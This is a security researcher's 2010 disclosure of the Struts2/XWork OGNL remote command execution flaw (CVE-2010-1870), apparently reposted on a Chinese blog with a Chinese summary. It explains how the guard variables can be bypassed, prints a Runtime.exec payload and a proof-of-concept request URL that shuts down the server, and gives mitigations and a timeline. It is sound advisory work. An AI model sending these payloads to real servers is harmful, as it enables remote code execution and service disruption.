Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability

Friday, July 9, 2010
CVE-2010-1870: Struts2/XWork remote command execution
Update Tue Jul 13 2010: Added proof of concept
  
Apache Struts team has announced uploaded but has not released, due to an unreasonably prolonged voting process, the 2.2.0 release of the Struts2 web framework which fixes vulnerability that I've reported to them on May 31st 2010. Apache Struts team is ridiculously slow in releasing the fixed version and all of my attempts to expedite the process have failed.
  
Introduction
Struts2 is Struts + WebWork. WebWork in turn uses XWork to invoke actions and call appropriate setters/getters based on HTTP parameter names, which is achieved by treating each HTTP parameter name as an OGNL statement. OGNL (Object Graph Navigation Language) is what turns:
  
user.address.city=Bishkek&user['favoriteDrink']=kumys
  
into
  
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
  
This is performed by the ParametersInterceptor, which calls ValueStack.setValue() with user-supplied HTTP parameters as arguments.
NOTE: If you are using XWork's ParametersInterceptor or operate with OGNL ValueStack in a similar way then you are vulnerable (ParametersInterceptor is on by default in struts-default.xml).
  
In addition to property getting/setting, OGNL supports many more features:
  
    * Method calling: foo()
    * Static method calling: @java.lang.System@exit(1)
    * Constructor calling: new MyClass()
    * Ability to work with context variables: #foo = new MyClass()
    * And more...
  
Since HTTP parameter names are OGNL statements, to prevent an attacker from calling arbitrary methods via HTTP parameters XWork has the following two variables guarding methods execution:
  
    * OgnlContext's property 'xwork.MethodAccessor.denyMethodExecution' (set to true by default)
    * SecurityMemberAccess private field called 'allowStaticMethodAccess' (set to false by default)
  
OGNL Context variables
To make it easier for developer to access various frequently needed objects XWork provides several predefined context variables:
  
    * #application
    * #session
    * #request
    * #parameters
    * #attr
  
These variables represent various server-side objects, such as session map. To prevent attackers from tampering with server-side objects XWork's ParametersInterceptor disallowed # in parameter names. About a year ago I found a way to bypass that protection(XW-641) using Java's unicode String representation: /u0023. At the time I felt like the fix that was implemented (OGNL value stack clearing) was insufficient, but had not time to investigate this further. 
  
CVE-2010-1870
Earlier this year I finally got a chance to look at this again and found that in addition to the above mentioned context variables there were more:
  
    * #context - OgnlContext, the one guarding method execution based on 'xwork.MethodAccessor.denyMethodExecution' property value.
    * #_memberAccess - SecurityMemberAccess, whose 'allowStaticAccess' field prevented static method execution.
    * #root
    * #this
    * #_typeResolver
    * #_classResolver
    * #_traceEvaluations
    * #_lastEvaluation
    * #_keepLastEvaluation
  
You can probably see the problem already. Using XW-641 trick I was able to modify the values that were guarding Java methods execution and run arbitrary Java code:
  
#_memberAccess['allowStaticMethodAccess'] = true
#foo = new java .lang.Boolean("false")
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
#rt = @java.lang.Runtime@getRuntime()
#rt.exec('mkdir /tmp/PWNED')
  
Actual proof of concept had to use OGNL's expression evaluation when crafting HTTP request. PoC for this bug will be published on July 12 2010. To test whether your application is vulnerable you can use the following proof of concept, which will call java.lang.Runtime.getRuntime().exit(1):
  
  
http://mydomain/MyStruts.action?('/u0023_memberAccess[/'allowStaticMethodAccess/']')(meh)=true&(aaa)(('/u0023context[/'xwork.MethodAccessor.den
yMethodExecution/']/u003d/u0023foo')(/u0023foo/u003dnew%20java.lang.Boolean("false")))&(asdf)(('/u0023rt.exit(1)')(/u0023rt/u003d@java.lang.Runtime@getRunti
me()))=1
  
  
Fixing CVE-2010-1870
Struts2 users must upgrade to the 2.2.0, which whitelists a set of characters that excludes characters required to exploit this vulnerability.
  
  
In cases where upgrade isn't possible you can use ParameterInterceptor's "excludeParams" parameter to whitelist the characters required for your application to operate correctly(usually A-z0-9_.'"[]) alternatively you can blacklist /()@ which are the characters required to exploit this bug.
  
Timeline
May 31st - email to security@struts.apache.org with vulnerability report.
June 4th - no response received, contacted developers again.
June 5th - had to find an XWork developer on IRC to look at this.
June 16th - Atlassian fixes vulnerability in its products. Atlassian and Struts developers worked together in coming up with the fix.
June 20th - 1-line fix commited
June 29th - Struts 2.2.0 release voting process started and is still going...
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CVE ID: CVE-2010-1870 XWork是一个命令模式框架,用于支持Struts 2及其他应用。 XWork处理用户请求参数数据时存在漏洞,远程攻击者可以利用此漏洞在系统上执行任意命令。 Struts2中WebWork框架使用XWork基于HTTP参数名执行操作和调用,将每个HTTP参数名处理为OGNL(对象图形导航语言)语句,而OGNL将: user.address.city=Bishkek&user['favoriteDrink']=kumys 转换为: action.getUser().getAddress().setCity("Bishkek") action.getUser().setFavoriteDrink("kumys") 这是通过ParametersInterceptor来执行的,使用用户提供的HTTP参数调用ValueStack.setValue()。 除了获取和设置属性外,OGNL还支持其他一些功能: * 方法调用:foo() * 静态方式调用: @java.lang.System@exit(1) * 构建函数调用:new MyClass() * 处理上下文变量:#foo = new MyClass() 由于HTTP参数名为OGNL语句,为了防范攻击者通过HTTP参数调用任意方式,XWork使用了以下两个变量保护方式的执行: * OgnlContext的属性xwork.MethodAccessor.denyMethodExecution(默认设置为true) * SecurityMemberAccess私有字段allowStaticMethodAccess(默认设置为false) 为了方便开发人员访问各种常用的对象,XWork提供了一些预定义的上下文变量: * #application * #session * #request * #parameters * #attr * #context * #_memberAccess * #root * #this * #_typeResolver * #_classResolver * #_traceEvaluations * #_lastEvaluation * #_keepLastEvaluation 这些变量代表各种服务器端对象。为了防范篡改服务器端对象,XWorkParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值: #_memberAccess['allowStaticMethodAccess'] = true #foo = new java .lang.Boolean("false") #context['xwork.MethodAccessor.denyMethodExecution'] = #foo #rt = @java.lang.Runtime@getRuntime() #rt.exec('mkdir /tmp/PWNED')

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值